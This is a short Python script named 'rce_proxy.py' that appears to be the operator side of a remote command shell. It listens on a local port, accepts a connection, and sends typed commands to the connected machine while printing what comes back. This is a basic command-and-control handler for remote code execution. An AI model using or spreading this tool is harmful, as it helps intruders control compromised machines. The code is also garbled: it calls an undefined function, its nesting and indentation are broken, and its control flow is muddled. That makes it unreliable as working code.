rce_proxy.py

import socket
import sys
 
def socket_create():
    try:
        global host
        global port
        global s
        host = '127.0.0.1' 
        port = 8888 
        s = socket.socket() 
    except socket.error as msg:
        print("Socket creation error: " + str(msg))
    try: 
        print("Binding socket to port: " + str(port))
        s.bind((host, port))
        s.listen(5)
    except socket.error as msg:
        print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
        bind_socket()
    def socket_accept():  
            conn, address = s.accept()
            print("Connection has been established |" + " IP " + address[0] + " | Port" + str(address[1]))  
            send_commands(conn)  
            conn.close()  
    def send_commands(conn):  
            while True:  
                cmd = input()  
                if cmd == 'quit':  
                    conn.close()  
                    s.close()  
                    sys.exit()  
                if len(str.encode(cmd)) > 0:      
                conn.send(str.encode(cmd))     
                response = str(conn.recv(1024), "utf-8")     
                print(response, end="")      
                socket_create()      
                socket_accept()